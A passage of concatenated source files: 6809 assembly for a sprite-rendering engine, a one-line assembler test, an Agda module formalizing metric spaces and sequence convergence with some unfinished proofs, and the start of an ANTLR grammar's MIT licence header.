ldu DPS_buffer_0+buf_Tbl_Priority_First_Entry+6
beq CSR_P2B0
lda #$03
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P2B0
ldu DPS_buffer_0+buf_Tbl_Priority_First_Entry+4
beq CSR_P1B0
lda #$02
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P1B0
ldu DPS_buffer_0+buf_Tbl_Priority_First_Entry+2
beq CSR_rtsB0
lda #$01
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_rtsB0
rts
CSR_SetBuffer1
lda #rsv_buffer_1 ; set offset to object variables that belongs to screen buffer 1
sta CSR_ProcessEachPriorityLevel+2
CSR_P8B1
ldu DPS_buffer_1+buf_Tbl_Priority_First_Entry+16 ; read DPS from priority 8 to priority 1
beq CSR_P7B1
lda #$08
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P7B1
ldu DPS_buffer_1+buf_Tbl_Priority_First_Entry+14
beq CSR_P6B1
lda #$07
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P6B1
ldu DPS_buffer_1+buf_Tbl_Priority_First_Entry+12
beq CSR_P5B1
lda #$06
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P5B1
ldu DPS_buffer_1+buf_Tbl_Priority_First_Entry+10
beq CSR_P4B1
lda #$05
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P4B1
ldu DPS_buffer_1+buf_Tbl_Priority_First_Entry+8
beq CSR_P3B1
lda #$04
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P3B1
ldu DPS_buffer_1+buf_Tbl_Priority_First_Entry+6
beq CSR_P2B1
lda #$03
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P2B1
ldu DPS_buffer_1+buf_Tbl_Priority_First_Entry+4
beq CSR_P1B1
lda #$02
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P1B1
ldu DPS_buffer_1+buf_Tbl_Priority_First_Entry+2
beq CSR_rtsB1
lda #$01
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_rtsB1
rts
CSR_ProcessEachPriorityLevel
leax 16,u ; dynamic offset, x point to object variables relative to current writable buffer (beware that rsv_buffer_0 and rsv_buffer_1 should be equ >=16)
CSR_CheckDelHide
lda render_flags,u
anda #render_hide_mask|render_todelete_mask
lbne CSR_DoNotDisplaySprite
CSR_CheckRefresh
lda rsv_render_flags,u
anda #rsv_render_checkrefresh_mask ; branch if checkrefresh is true
lbne CSR_CheckErase
CSR_UpdSpriteImageBasedOnMirror
; an image set is made of 1 to 4 image subsets
; each subset represent a mirrored version of the image (N: normal, X: x mirror, Y: y mirror, XY: xy mirror)
; this code set the active image subset based on mirror flags
lda rsv_render_flags,u
ora #rsv_render_checkrefresh_mask
sta rsv_render_flags,u ; set checkrefresh flag to true
ldy #Img_Page_Index ; call page that store imageset for this object
lda #$00
ldb id,u
lda d,y
_SetCartPageA
lda render_flags,u ; set image to display based on x and y mirror flags
anda #render_xmirror_mask|render_ymirror_mask
ldy image_set,u
ldb image_center_offset,y
stb rsv_image_center_offset,u
ldb a,y
leay b,y ; read image set index
sty rsv_image_subset,u
CSR_CheckPlayFieldCoord
lda render_flags,u
anda #render_playfieldcoord_mask
beq CSR_ComputeMappingFrame ; branch if position is already expressed in screen coordinate
; purpose here is to check if image coordinate in the playfield
; can be converted to screen position, if not it is flagged out of range
ldd x_pos,u
subd glb_camera_x_pos
lblo CSR_SetOutOfRange ; out of range if x_pos < glb_camera_x_pos
tsta
lbne CSR_SetOutOfRange ; out of range if x_pos + 256 > glb_camera_x_pos
stb x_pixel,u
ldd y_pos,u
subd glb_camera_y_pos
lblo CSR_SetOutOfRange ; out of range if y_pos < glb_camera_y_pos
tsta
lbne CSR_SetOutOfRange ; out of range if y_pos + 256 > glb_camera_y_pos
stb y_pixel,u
bra CSR_ComputeMappingFrame
CSR_DoNotDisplaySprite
lda priority,u
cmpa cur_priority
bne CSR_NextObject ; next object if this one is a new priority record (no need to erase)
lda rsv_render_flags,u
anda #^rsv_render_erasesprite_mask&^rsv_render_displaysprite_mask ; set erase and display flag to false
sta rsv_render_flags,u
ldb buf_prev_render_flags,x
bpl CSR_NextObject ; branch if not on screen
ora #rsv_render_erasesprite_mask ; set erase flag to true if on screen
sta rsv_render_flags,u
ldy cur_ptr_sub_obj_erase ; maintain list of changing sprites to erase
stu ,y++
sty cur_ptr_sub_obj_erase
CSR_NextObject
ldu buf_priority_next_obj,x
lbne CSR_ProcessEachPriorityLevel
rts
CSR_ComputeMappingFrame
; The image subset reference up to 4 version of an image
; Draw/Erase, Draw routines and shifted version by 1 pixel of these two routines
; The following code set the appropriate routine that will draw the image
; First thing is to check if the image position is odd or even
; and select the appropriate routine. If no routine is found, it will select the avaible routine.
; The selected image will also be based on image type overlay or not (Simple Draw or Draw/Erase)
lda render_flags,u
anda #render_playfieldcoord_mask
beq @a ; branch if position is already expressed in screen coordinate
ldd x_pos,u
subd glb_camera_x_pos
bra @b
@a ldb x_pixel,u ; compute mapping_frame
@b eorb rsv_image_center_offset,u ; case of odd image center switch shifted image with normal
andb #$01 ; index of sub image is encoded in two bits: 00|B0, 01|D0, 10|B1, 11|D1
aslb ; set bit2 for 1px shifted image
lda render_flags,u
anda #render_overlay_mask ; set bit1 for normal (background save) or overlay sprite (no background save)
beq CSR_NoOverlay
incb
CSR_NoOverlay
lda b,y
beq CSR_NoDefinedFrame
leay a,y ; read image subset index
sty rsv_mapping_frame,u
bra CSR_UpdateMetadata
CSR_NoDefinedFrame
anda #$01 ; test if there is an image without 1px shift
ldb a,y
bne CSR_FrameFound
ldy #$0000 ; no defined frame, nothing will be displayed
sty rsv_mapping_frame,u
lda render_flags,u
ora #render_hide_mask ; set hide flag
sta render_flags,u
jmp CSR_CheckErase
CSR_FrameFound
leay b,y ; read image subset index
sty rsv_mapping_frame,u
CSR_UpdateMetadata
lda erase_nb_cell,y ; copy current image metadata into object data
sta rsv_erase_nb_cell,u ; this is needed to avoid a lot of page switch
lda page_draw_routine,y ; during following routines
sta rsv_page_draw_routine,u
ldd draw_routine,y
std rsv_draw_routine,u
lda page_erase_routine,y
sta rsv_page_erase_routine,u
ldd erase_routine,y
std rsv_erase_routine,u
CSR_CheckPosition
ldb y_pixel,u ; check if sprite is fully in screen vertical range
ldy rsv_image_subset,u
addb image_subset_y1_offset,y
cmpb #screen_bottom
bhi CSR_SetOutOfRange
cmpb #screen_top
blo CSR_SetOutOfRange
stb rsv_y1_pixel,u
ldy image_set,u
addb image_y_size,y
cmpb #screen_bottom
bhi CSR_SetOutOfRange
cmpb #screen_top
blo CSR_SetOutOfRange
stb rsv_y2_pixel,u
cmpb rsv_y1_pixel,u ; check wrapping
blo CSR_SetOutOfRange
lda render_flags,u ; check if sprite is fully in screen horizontal range
bita #render_xloop_mask
bne CSR_DontCheckXFrontier
ldb x_pixel,u
ldy rsv_image_subset,u
addb image_subset_x1_offset,y
cmpb #screen_right
bhi CSR_SetOutOfRange
cmpb #screen_left
blo CSR_SetOutOfRange
stb rsv_x1_pixel,u
ldy image_set,u
addb image_x_size,y
cmpb #screen_right
bhi CSR_SetOutOfRange
cmpb #screen_left
blo CSR_SetOutOfRange
stb rsv_x2_pixel,u
cmpb rsv_x1_pixel,u ; check wrapping
blo CSR_SetOutOfRange
bra CSR_DontCheckXFrontier_end
CSR_DontCheckXFrontier
ldb x_pixel,u
ldy rsv_image_subset,u
addb image_subset_x1_offset,y
stb rsv_x1_pixel,u
ldy image_set,u
addb image_x_size,y
stb rsv_x2_pixel,u
CSR_DontCheckXFrontier_end
lda rsv_render_flags,u
anda #^rsv_render_outofrange_mask ; unset out of range flag
sta rsv_render_flags,u
bra CSR_CheckErase
CSR_SetOutOfRange
lda rsv_render_flags,u
ora #rsv_render_outofrange_mask ; set out of range flag
sta rsv_render_flags,u
CSR_CheckErase
stx CSR_CheckDraw+1
lda buf_priority,x
cmpa cur_priority
lbne CSR_CheckDraw
ldy cur_ptr_sub_obj_erase
lda rsv_render_flags,u
anda #rsv_render_outofrange_mask
beq CSR_CheckErase_InRange
lda buf_prev_render_flags,x
lbpl CSR_SetEraseDrawFalse ; branch if object is not on screen
bra CSR_SetEraseTrue
CSR_CheckErase_InRange
lda buf_prev_render_flags,x
lbpl CSR_SetEraseFalse ; branch if object is not on screen
ldd xy_pixel,u
lsra ; x position precision is x_pixel/2 and mapping_frame with or without 1px shit, y position precision is y_pixel
cmpd buf_prev_xy_pixel,x
bne CSR_SetEraseTrue ; branch if object moved since last frame
ldd rsv_mapping_frame,u
cmpd buf_prev_mapping_frame,x
bne CSR_SetEraseTrue ; branch if object image changed since last frame
lda priority,u
cmpa buf_priority,x
bne CSR_SetEraseTrue ; branch if object priority changed since last frame
bra CSR_SubEraseSpriteSearchInit ; branch if object is on screen but unchanged since last frame
CSR_SetEraseTrue
lda rsv_render_flags,u
ora #rsv_render_erasesprite_mask
sta rsv_render_flags,u
stu ,y++
sty cur_ptr_sub_obj_erase
jmp CSR_CheckDraw
CSR_SubEraseSpriteSearchInit
* search a collision with a sprite under the current sprite
* the sprite under should have to be erased or displayed
* in this case it forces the refresh of the current sprite that was not supposed to be refreshed
* as a sub loop, this should be optimized as much as possible ... I hope it is
* there are two lists because a sprite can be erased at a position
* and displayed at another position : both cases should be tested !
ldx cur_ptr_sub_obj_erase
lda glb_Cur_Wrk_Screen_Id ; read current screen buffer for write operations
bne CSR_SubEraseSearchB1
CSR_SubEraseSearchB0
cmpx #Tbl_Sub_Object_Erase
beq CSR_SubDrawSpriteSearchInit ; branch if no more sub objects
ldy ,--x
CSR_SubEraseCheckCollisionB0
ldd rsv_prev_xy1_pixel_0,y ; sub entry : rsv_prev_x_pixel_0 and rsv_prev_y_pixel_0 in one instruction
cmpa rsv_x2_pixel,u ; entry : x_pixel + rsv_mapping_frame.x_size
bhi CSR_SubEraseSearchB0
cmpb rsv_y2_pixel,u ; entry : y_pixel + rsv_mapping_frame.y_size
bhi CSR_SubEraseSearchB0
ldd rsv_prev_xy2_pixel_0,y ; sub entry : rsv_prev_x_pixel_0 + rsv_prev_mapping_frame_0.x_size and rsv_prev_y_pixel_0 + rsv_prev_mapping_frame_0.y_size in one instruction
cmpa rsv_x1_pixel,u ; entry : x_pixel
blo CSR_SubEraseSearchB0
cmpb rsv_y1_pixel,u ; entry : y_pixel
blo CSR_SubEraseSearchB0
ldy cur_ptr_sub_obj_erase
bra CSR_SetEraseTrue ; found a collision
CSR_SubEraseSearchB1
cmpx #Tbl_Sub_Object_Erase
beq CSR_SubDrawSpriteSearchInit ; branch if no more sub objects
ldy ,--x
CSR_SubEraseCheckCollisionB1
ldd rsv_prev_xy1_pixel_1,y ; sub entry : rsv_prev_x_pixel_1 and rsv_prev_y_pixel_1 in one instruction
cmpa rsv_x2_pixel,u ; entry : x_pixel + rsv_mapping_frame.x_size
bhi CSR_SubEraseSearchB1
cmpb rsv_y2_pixel,u ; entry : y_pixel + rsv_mapping_frame.y_size
bhi CSR_SubEraseSearchB1
ldd rsv_prev_xy2_pixel_1,y ; sub entry : rsv_prev_x_pixel_1 + rsv_prev_mapping_frame_1.x_size and rsv_prev_y_pixel_1 + rsv_prev_mapping_frame_1.y_size in one instruction
cmpa rsv_x1_pixel,u ; entry : x_pixel
blo CSR_SubEraseSearchB1
cmpb rsv_y1_pixel,u ; entry : y_pixel
blo CSR_SubEraseSearchB1
ldy cur_ptr_sub_obj_erase
bra CSR_SetEraseTrue ; found a collision
CSR_SubDrawSpriteSearchInit
ldx cur_ptr_sub_obj_draw
CSR_SubDrawSearch
cmpx #Tbl_Sub_Object_Draw
beq CSR_SetEraseFalse ; branch if no more sub objects
ldy ,--x
CSR_SubDrawCheckCollision
ldd rsv_xy1_pixel,y ; sub entry : x_pixel and y_pixel in one instruction
cmpa rsv_x2_pixel,u ; entry : x_pixel + rsv_mapping_frame.x_size
bhi CSR_SubDrawSearch
cmpb rsv_y2_pixel,u ; entry : y_pixel + rsv_mapping_frame.y_size
bhi CSR_SubDrawSearch
ldd rsv_xy2_pixel,y ; sub entry : x_pixel + rsv_mapping_frame.x_size and y_pixel + rsv_mapping_frame.y_size in one instruction
cmpa rsv_x1_pixel,u ; entry : x_pixel
blo CSR_SubDrawSearch
cmpb rsv_y1_pixel,u ; entry : y_pixel
blo CSR_SubDrawSearch
ldy cur_ptr_sub_obj_erase
jmp CSR_SetEraseTrue ; found a collision
CSR_SetEraseFalse
lda rsv_render_flags,u
anda #^rsv_render_erasesprite_mask
sta rsv_render_flags,u
CSR_CheckDraw
ldx #$FFFF ; dynamic restore x
lda priority,u
cmpa cur_priority
lbne CSR_NextObject
ldy cur_ptr_sub_obj_draw
lda rsv_render_flags,u
anda #rsv_render_outofrange_mask
bne CSR_SetDrawFalse ; branch if object image is out of range
ldd rsv_mapping_frame,u
beq CSR_SetDrawFalse ; branch if object have no image
lda render_flags,u
anda #render_hide_mask
bne CSR_SetDrawFalse ; branch if object is hidden
CSR_SetDrawTrue
lda rsv_render_flags,u
ora #rsv_render_displaysprite_mask ; set displaysprite flag
sta rsv_render_flags,u
bita #rsv_render_erasesprite_mask
beq CSR_SDT1
bra CSR_SDT2
CSR_SDT1
ldb buf_prev_render_flags,x
bmi CSR_SetHide
bra CSR_SDT3
CSR_SDT2
ldb buf_prev_render_flags,x
bpl CSR_SetHide
CSR_SDT3
stu ,y++
sty cur_ptr_sub_obj_draw ; maintain list of changing sprites to draw, should be to draw and ((on screen and to erase) or (not on screen and not to erase))
CSR_SetHide
lda render_flags,u
ora #render_hide_mask ; set hide flag
sta render_flags,u
ldu buf_priority_next_obj,x
lbne CSR_ProcessEachPriorityLevel
rts
CSR_SetEraseDrawFalse
lda rsv_render_flags,u
anda #^rsv_render_erasesprite_mask
sta rsv_render_flags,u
CSR_SetDrawFalse
lda rsv_render_flags,u
anda #^rsv_render_displaysprite_mask
sta rsv_render_flags,u
ldu buf_priority_next_obj,x
lbne CSR_ProcessEachPriorityLevel
rts
|
tests/data_unsized/2.asm | NullMember/customasm | 414 | 9863 | #d 0x0000 ; = 0x0000 |
Structure/Function/Metric.agda | Lolirofle/stuff-in-agda | 6 | 16999 | <reponame>Lolirofle/stuff-in-agda
open import Logic
open import Logic.Classical
open import Structure.Setoid
open import Structure.OrderedField
open import Type
module Structure.Function.Metric
{ℓF ℓₑF ℓ≤}
{F : Type{ℓF}}
⦃ equiv-F : Equiv{ℓₑF}(F) ⦄
{_+_}{_⋅_}
{_≤_ : _ → _ → Type{ℓ≤}}
⦃ orderedField-F : OrderedField{F = F}(_+_)(_⋅_)(_≤_) ⦄
⦃ classical : ∀{ℓ}{P : Stmt{ℓ}} → Classical(P) ⦄
where
open OrderedField(orderedField-F)
import Lvl
open import Data.Boolean
open import Data.Boolean.Proofs
import Data.Either as Either
open import Data.Tuple as Tuple using (_⨯_ ; _,_)
open import Functional as Fn
open import Logic.Propositional
open import Logic.Predicate
open import Relator.Ordering
open import Sets.PredicateSet renaming (_≡_ to _≡ₛ_)
open import Structure.Setoid.Uniqueness
open import Structure.Function.Ordering
open import Structure.Operator.Field
open import Structure.Operator.Monoid
open import Structure.Operator.Group
open import Structure.Operator.Proofs
open import Structure.Operator.Properties
open import Structure.Operator
open import Structure.Relator.Ordering
open Structure.Relator.Ordering.Weak.Properties
open import Structure.Relator.Properties
open import Syntax.Transitivity
F₊ = ∃(Positive)
module _ where
record MetricSpace {ℓₘ ℓₑₘ} {M : Type{ℓₘ}} ⦃ equiv-M : Equiv{ℓₑₘ}(M) ⦄ (d : M → M → F) : Type{ℓF Lvl.⊔ ℓ≤ Lvl.⊔ ℓₘ Lvl.⊔ ℓₑₘ Lvl.⊔ ℓₑF} where
field
⦃ distance-binary-operator ⦄ : BinaryOperator(d)
self-distance : ∀{x y} → (d(x)(y) ≡ 𝟎) ↔ (x ≡ y)
⦃ distance-commutativity ⦄ : Commutativity(d)
triangle-inequality : ∀{x y z} → (d(x)(z) ≤ (d(x)(y) + d(y)(z)))
⦃ non-negativity ⦄ : ∀{x y} → NonNegative(d(x)(y))
{-
non-negativity{x}{y} =
([≤]ₗ-of-[+] (
𝟎
d(x)(x)
d(x)(y) + d(y)(x)
d(x)(y) + d(x)(y)
2 ⋅ d(x)(y)
))
-}
distance-to-self : ∀{x} → (d(x)(x) ≡ 𝟎)
distance-to-self = [↔]-to-[←] self-distance (reflexivity(_≡_))
Neighborhood : M → F₊ → PredSet(M)
Neighborhood(p)([∃]-intro r)(q) = (d(p)(q) < r)
Neighborhoods : ∀{ℓ} → M → PredSet(PredSet{ℓ}(M))
Neighborhoods(p)(N) = ∃(r ↦ N ≡ₛ Neighborhood(p)(r))
PuncturedNeighborhood : M → F₊ → PredSet(M)
PuncturedNeighborhood(p)([∃]-intro r)(q) = (𝟎 < d(p)(q) < r)
LimitPoint : ∀{ℓ} → PredSet{ℓ}(M) → PredSet(M)
LimitPoint(E)(p) = ∀{r} → Overlapping(PuncturedNeighborhood(p)(r)) (E)
IsolatedPoint : ∀{ℓ} → PredSet{ℓ}(M) → PredSet(M)
IsolatedPoint(E)(p) = ∃(r ↦ Disjoint(PuncturedNeighborhood(p)(r)) (E))
Interior : ∀{ℓ} → PredSet{ℓ}(M) → PredSet(M)
Interior(E)(p) = ∃(r ↦ Neighborhood(p)(r) ⊆ E)
Closed : ∀{ℓ} → PredSet(PredSet{ℓ}(M))
Closed(E) = LimitPoint(E) ⊆ E
Open : ∀{ℓ} → PredSet(PredSet{ℓ}(M))
Open(E) = E ⊆ Interior(E)
Perfect : ∀{ℓ} → PredSet(PredSet{ℓ}(M))
Perfect(E) = LimitPoint(E) ≡ₛ E
Bounded : ∀{ℓ} → PredSet(PredSet{ℓ}(M))
Bounded(E) = ∃(p ↦ ∃(r ↦ E ⊆ Neighborhood(p)(r)))
Discrete : ∀{ℓ} → PredSet(PredSet{ℓ}(M))
Discrete(E) = E ⊆ IsolatedPoint(E)
Closure : ∀{ℓ} → PredSet{ℓ}(M) → PredSet(M)
Closure(E) = E ∪ LimitPoint(E)
Dense : ∀{ℓ} → PredSet(PredSet{ℓ}(M))
Dense(E) = ∀{p} → (p ∈ Closure(E))
-- Compact
Separated : ∀{ℓ₁ ℓ₂} → PredSet{ℓ₁}(M) → PredSet{ℓ₂}(M) → Stmt
Separated(A)(B) = Disjoint(A)(Closure(B)) ∧ Disjoint(Closure(A))(B)
Connected : ∀{ℓ} → PredSet{ℓ}(M) → Stmtω
Connected(E) = ∀{ℓ₁ ℓ₂}{A : PredSet{ℓ₁}(M)}{B : PredSet{ℓ₂}(M)} → ((A ∪ B) ≡ₛ E) → Separated(A)(B) → ⊥
-- Complete = Sequence.Cauchy ⊆ Sequence.Converging
neighborhood-contains-center : ∀{p}{r} → (p ∈ Neighborhood(p)(r))
neighborhood-contains-center {p}{[∃]-intro r ⦃ intro positive-r ⦄} =
d(p)(p) 🝖-[ sub₂(_≡_)(_≤_) distance-to-self ]-sub
𝟎 🝖-semiend
r 🝖-end-from-[ positive-r ]
-- TODO: Not always the case?
-- subneighborhood-subradius : ∀{p₁ p₂}{r₁ r₂} → (Neighborhood(p₁)(r₁) ⊆ Neighborhood(p₂)(r₂)) → ([∃]-witness r₁ ≤ [∃]-witness r₂)
subneighborhood-radius : ∀{p₁ p₂}{r₁ r₂} → (Neighborhood(p₁)(r₁) ⊆ Neighborhood(p₂)(r₂)) ← (d(p₂)(p₁) ≤ ([∃]-witness r₂ − [∃]-witness r₁))
subneighborhood-radius {p₁} {p₂} {[∃]-intro r₁} {[∃]-intro r₂} p {q} qN₁ =
d(p₂)(q) 🝖[ _≤_ ]-[ triangle-inequality ]-sub
d(p₂)(p₁) + d(p₁)(q) 🝖[ _<_ ]-[ [<][+]-preserve-subₗ p qN₁ ]-super
(r₂ − r₁) + r₁ 🝖[ _≡_ ]-[ {!inverseOperₗ ? ?!} ] -- inverseOperatorᵣ(_+_)(_−_)
r₂ 🝖-end
{-where
r₁r₂ : (r₁ ≤ r₂) -- TODO: This seems to be provable, but not used here
r₁r₂ =
r₁ 🝖-[ {!!} ]
d(p₁)(p₂) + r₁ 🝖-[ {!!} ]
r₂ 🝖-end
-}
subneighborhood-radius-on-same : ∀{p}{r₁ r₂} → (Neighborhood(p)(r₁) ⊆ Neighborhood(p)(r₂)) ← ([∃]-witness r₁ ≤ [∃]-witness r₂)
subneighborhood-radius-on-same {p} {[∃]-intro r₁} {[∃]-intro r₂} r₁r₂ {x} xN₁ xN₂ = xN₁ (r₁r₂ 🝖 xN₂)
interior-is-subset : ∀{ℓ}{E : PredSet{ℓ}(M)} → Interior(E) ⊆ E
interior-is-subset {ℓ} {E} {x} ([∃]-intro ([∃]-intro r ⦃ intro positive-r ⦄) ⦃ N⊆E ⦄) =
N⊆E {x} (p ↦ positive-r (
r 🝖[ _≤_ ]-[ p ]-super
d(x)(x) 🝖[ _≡_ ]-[ distance-to-self ]
𝟎 🝖[ _≡_ ]-end
))
neighborhood-interior-is-self : ∀{p}{r} → (Interior(Neighborhood(p)(r)) ≡ₛ Neighborhood(p)(r))
∃.witness (Tuple.left (neighborhood-interior-is-self {p} {r}) x) = r
∃.proof (Tuple.left (neighborhood-interior-is-self {p} {r} {x}) Nx) = {!!}
Tuple.right (neighborhood-interior-is-self {p} {r}) = {!!}
neighborhood-is-open : ∀{p}{r} → Open(Neighborhood(p)(r))
interior-is-largest-subspace : ∀{ℓ₁ ℓ₂}{E : PredSet{ℓ₁}(M)}{Eₛ : PredSet{ℓ₂}(M)} → Open(Eₛ) → (Eₛ ⊆ E) → (Eₛ ⊆ Interior(E))
nested-interior : ∀{ℓ}{E : PredSet{ℓ}(M)} → Interior(Interior(E)) ≡ₛ Interior(E)
isolated-limit-eq : ∀{ℓ}{E : PredSet{ℓ}(M)} → (IsolatedPoint(E) ⊆ ∅ {Lvl.𝟎}) ↔ (E ⊆ LimitPoint(E))
interior-closure-eq1 : ∀{ℓ}{E : PredSet{ℓ}(M)} → ((∁ Interior(E)) ≡ₛ Closure(∁ E))
interior-closure-eq2 : ∀{ℓ}{E : PredSet{ℓ}(M)} → (Interior(∁ E) ≡ₛ (∁ Closure(E)))
open-closed-eq1 : ∀{ℓ}{E : PredSet{ℓ}(M)} → (Open(E) ↔ Closed(∁ E))
open-closed-eq2 : ∀{ℓ}{E : PredSet{ℓ}(M)} → (Open(∁ E) ↔ Closed(E))
union-is-open : ∀{ℓ₁ ℓ₂}{A : PredSet{ℓ₁}(M)}{B : PredSet{ℓ₂}(M)} → Open(A) → Open(B) → Open(A ∪ B)
intersection-is-open : ∀{ℓ₁ ℓ₂}{A : PredSet{ℓ₁}(M)}{B : PredSet{ℓ₂}(M)} → Open(A) → Open(B) → Open(A ∩ B)
-- open-subsubspace : ∀{ℓ₁ ℓ₂}{Eₛ : PredSet{ℓ₁}(M)}{E : PredSet{ℓ₂}(M)} →
separated-is-disjoint : ∀{ℓ₁ ℓ₂}{A : PredSet{ℓ₁}(M)}{B : PredSet{ℓ₂}(M)} → Separated(A)(B) → Disjoint(A)(B)
unionₗ-is-connected : ∀{ℓ₁ ℓ₂}{A : PredSet{ℓ₁}(M)}{B : PredSet{ℓ₂}(M)} → Connected(A ∪ B) → Connected(A)
unionᵣ-is-connected : ∀{ℓ₁ ℓ₂}{A : PredSet{ℓ₁}(M)}{B : PredSet{ℓ₂}(M)} → Connected(A ∪ B) → Connected(B)
intersection-is-connected : ∀{ℓ₁ ℓ₂}{A : PredSet{ℓ₁}(M)}{B : PredSet{ℓ₂}(M)} → Connected(A) → Connected(B) → Connected(A ∩ B)
module Sequence {ℓ} {M : Type{ℓ}} ⦃ equiv-M : Equiv(M) ⦄ (d : M → M → F) where
open import Numeral.Natural
import Numeral.Natural.Relation.Order as ℕ
ConvergesTo : (ℕ → M) → M → Stmt
ConvergesTo f(L) = ∃{Obj = F₊ → ℕ}(N ↦ ∀{ε : F₊}{n} → (n ℕ.≥ N(ε)) → (d(f(n))(L) < [∃]-witness ε))
Converging : (ℕ → M) → Stmt
Converging(f) = ∃(ConvergesTo(f))
Diverging : (ℕ → M) → Stmt
Diverging(f) = ∀{L} → ¬(ConvergesTo f(L))
lim : (f : ℕ → M) → ⦃ Converging(f) ⦄ → M
lim(f) ⦃ [∃]-intro L ⦄ = L
Cauchy : (ℕ → M) → Stmt
Cauchy(f) = ∃{Obj = F₊ → ℕ}(N ↦ ∀{ε : F₊}{a b} → (a ℕ.≥ N(ε)) → (b ℕ.≥ N(ε)) → (d(f(a))(f(b)) < [∃]-witness ε))
Complete : Stmt
Complete = Cauchy ⊆ Converging
Bounded : (ℕ → M) → Stmt
Bounded(f) = ∃(r ↦ ∃(p ↦ ∀{n} → (d(p)(f(n)) < r)))
unique-converges-to : ∀{f} → Unique(ConvergesTo(f))
converging-bounded : Converging ⊆ Bounded
-- strictly-ordered-sequence-limit : ∀{f g : ℕ → M} → (∀{n} → (f(n) < g(n))) → (lim f < lim g)
-- ordered-sequence-limit : ∀{f g : ℕ → M} → (∀{n} → (f(n) ≤ g(n))) → (lim f ≤ lim g)
-- limit-point-converging-sequence : ∀{E}{p} → LimitPoint(E)(p) → ∃(f ↦ (ConvergesTo f(p)) ∧ (∀{x} → (f(x) ∈ E)))
-- TODO: Apparently, this requires both axiom of choice and excluded middle? At least the (←)-direction?
-- continuous-sequence-convergence-composition : (ContinuousOn f(p)) ↔ (∀{g} → (ConvergesTo g(p)) → (ConvergesTo(f ∘ g)(f(p))))
{-
module Series where
∑ : (ℕ → M) → ℕ → M
∑ f(𝟎) = 𝟎
∑ f(𝐒(n)) = (∑ f(n)) + f(𝐒(n))
∑₂ : (ℕ → M) → (ℕ ⨯ ℕ) → M
∑₂ f(a , b) = ∑ (f ∘ (a +_))(b − a)
ConvergesTo : (ℕ → M) → M → Stmt
ConvergesTo f(L) = Sequence.ConvergesTo(∑ f)(L)
Converging : (ℕ → M) → Stmt
Converging(f) = ∃(ConvergesTo(f))
Diverging : (ℕ → M) → Stmt
Diverging(f) = ∀{L} → ¬(ConvergesTo f(L))
ConvergesTo : (ℕ → M) → M → Stmt
AbsolutelyConvergesTo f(L) = ConvergesTo (‖_‖ ∘ f)(L)
AbsolutelyConverging : (ℕ → M) → Stmt
AbsolutelyConverging(f) = ∃(AbsolutelyConvergesTo(f))
AbsolutelyDiverging : (ℕ → M) → Stmt
AbsolutelyDiverging(f) = ∀{L} → ¬(AbsolutelyConvergesTo f(L))
ConditionallyConverging : (ℕ → M) → Stmt
ConditionallyConverging(f) = AbsolutelyDiverging(f) ∧ Converging(f)
sequence-of-converging-series-converges-to-0 : Converging(f) → (Sequence.ConvergesTo f(𝟎))
convergence-by-ordering : (∀{n} → f(n) ≤ g(n)) → (Converging(f) ← Converging(g))
divergence-by-ordering : (∀{n} → f(n) ≤ g(n)) → (Diverging(f) → Diverging(g))
convergence-by-quotient : Sequence.Converging(n ↦ f(n) / g(n)) → (Converging(f) ↔ Converging(g))
-}
module Analysis
{ℓ₁ ℓ₂}
{M₁ : Type{ℓ₁}} ⦃ equiv-M₁ : Equiv(M₁) ⦄ (d₁ : M₁ → M₁ → F)
⦃ space₁ : MetricSpace(d₁) ⦄
{M₂ : Type{ℓ₂}} ⦃ equiv-M₂ : Equiv(M₂) ⦄ (d₂ : M₂ → M₂ → F)
⦃ space₂ : MetricSpace(d₂) ⦄
where
open MetricSpace
Lim : ∀{ℓ}{E : PredSet{ℓ}(M₁)} → ((x : M₁) → ⦃ x ∈ E ⦄ → M₂) → M₁ → M₂ → Stmt
Lim {E = E} f(p)(L) = ∃{Obj = F₊ → F₊}(δ ↦ ∀{ε : F₊}{x} → ⦃ ex : x ∈ E ⦄ → (p ∈ PuncturedNeighborhood(space₁)(x)(δ(ε))) → (L ∈ Neighborhood(space₂)(f(x) ⦃ ex ⦄)(ε)))
lim : ∀{ℓ}{E : PredSet{ℓ}(M₁)} → (f : (x : M₁) → ⦃ x ∈ E ⦄ → M₂) → (p : M₁) → ⦃ ∃(Lim f(p)) ⦄ → M₂
lim f(p) ⦃ [∃]-intro L ⦄ = L
ContinuousOn : ∀{ℓ}{E : PredSet{ℓ}(M₁)} → ((x : M₁) → ⦃ x ∈ E ⦄ → M₂) → (p : M₁) → ⦃ p ∈ E ⦄ → Stmt
ContinuousOn f(p) = Lim f(p) (f(p))
Continuous : ∀{ℓ}{E : PredSet{ℓ}(M₁)} → ((x : M₁) → ⦃ x ∈ E ⦄ → M₂) → Stmt
Continuous{E = E}(f) = ∀{p} → ⦃ ep : p ∈ E ⦄ → ContinuousOn f(p) ⦃ ep ⦄
-- continuous-mapping-connected : Continuous(f) → Connected(E) → Connected(map f(E))
|
src/main/antlr/com/techshroom/husk/antlr/Husk.g4 | kenzierocks/husk | 0 | 2521 | <gh_stars>0
/*
* This file is part of husk, licensed under the MIT License (MIT).
*
* Copyright (c) TechShroom <https://techshroom.com>
* Copyright (c) contributors
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
